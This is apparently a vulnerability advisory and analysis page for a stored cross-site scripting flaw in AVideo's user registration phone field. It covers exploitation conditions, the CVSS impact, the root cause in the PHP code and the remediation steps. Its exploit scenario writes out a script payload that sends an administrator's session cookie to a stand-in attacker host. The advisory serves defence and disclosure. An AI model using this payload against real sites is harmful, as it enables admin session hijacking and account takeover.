Exploitation Conditions

Exploitation requires that the AVideo instance has public user registration enabled, which is the default state for most deployments - the attacker must be able to submit the registration form without prior authentication. The stored payload only triggers when an administrator navigates to the users management page after the malicious account has been created; without that administrator interaction, the payload remains dormant in the database. AVideo instances where public registration is disabled are not exploitable via this unauthenticated vector. Exploitation does not require any special server configuration, non-default features, or specific PHP settings beyond a reachable registration endpoint and a reachable admin users management page.

Impact

The provided CVSS 4.0 score of 5.1 (Medium) uses SC:L/SI:L to represent limited subsequent-system impact on the admin browser context, with AV:N/AC:L/AT:N confirming no special network conditions or attack prerequisites. The PR:L rating in the provided vector is slightly conservative - the description explicitly states unauthenticated attackers can exploit the registration form, suggesting PR:N is more accurate for independent assessment. Despite the moderate numeric score, real-world impact is higher than the score implies: successful execution in the admin session can yield full administrative account takeover, privileged configuration changes, or lateral movement within the application. No CISA KEV listing and no confirmed public POC limit immediate urgency, though VulnCheck's publication of an advisory increases the likelihood that exploit patterns will become widely known. The attack is low-complexity and accessible to unsophisticated attackers once the registration endpoint and payload pattern are identified. The primary limiting factor is the required administrator interaction - the admin must visit the users management page after the malicious registration.

Exploit ScenarioDerived

An unauthenticated attacker registers a new AVideo account, entering a JavaScript payload such as <script>fetch('https://attacker.example/c?s='+document.cookie)</script> in the phone field. The payload is stored unsanitized in the database. When an administrator later opens the users management page, the bootgrid component renders the phone field via innerHTML, triggering silent execution of the script in the admin's browser session and exfiltrating the admin's session cookie to the attacker's server.

AnalysisAIv1 – Aug 11, 2026

Stored cross-site scripting in AVideo's user registration flow allows any attacker who can reach the registration form to inject persistent JavaScript via the phone field, which later executes in administrator browsers when the users management page loads. The injected payload is rendered through JavaScript innerHTML in the admin bootgrid component without sanitization, running in the admin's session context and enabling session hijacking, credential theft, or unauthorized administrative actions. No public exploit or CISA KEV listing has been identified at time of analysis, though VulnCheck has documented and published an advisory for this vulnerability.

RemediationAI

Apply the upstream fix commit 1adcb75458a3b31058655698a833e8cbde4d0593 from the WWBN/AVideo repository (https://github.com/WWBN/AVideo/commit/1adcb75458a3b31058655698a833e8cbde4d0593), which patches two locations: strip_tags() added to setPhone() in objects/user.php, and a defense-in-depth sanitization pass added in objects/users.json.php to neutralize markup in rows written before the setter was hardened. Upstream fix is available via commit; a released tagged version is not independently confirmed from available data - verify with the GHSA-cfvq-r985-84wj advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-cfvq-r985-84wj. As a compensating control prior to patching, disable public user registration if it is not operationally required - this eliminates the unauthenticated injection vector entirely, though it prevents new self-service account creation. Alternatively, deploy a WAF rule blocking HTML tags and script content in the phone registration parameter; note this may produce false positives for phone values containing angle brackets in some locales. For already-deployed instances, the patch's defense-in-depth layer in the grid renderer will sanitize previously stored malicious values on rendering.

Technical ContextAI · show details

AVideo is an open-source, self-hosted video platform developed by WWBN (CPE: cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*), written primarily in PHP. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS), arising from two distinct failures confirmed in the patch commit. First, the setPhone() method in objects/user.php stored the raw phone value directly to the database without applying strip_tags(), unlike the setName() method which already had this protection. Second, the admin users grid in objects/users.json.php rendered phone values by pulling raw database rows directly - bypassing the sanitizing User::getPhone() getter - and passing them to the bootgrid component which renders cell values via innerHTML. This dual failure, unsanitized write path and unsafe render path, formed a complete stored XSS chain requiring no special privilege to initiate.

DescriptionCVE.org

AVideo fails to sanitize the phone field during user registration, allowing unauthenticated attackers to inject malicious JavaScript that persists in the database. When administrators visit the users management page, the unsanitized phone value is rendered via innerHTML, executing the injected script in the admin's browser session.
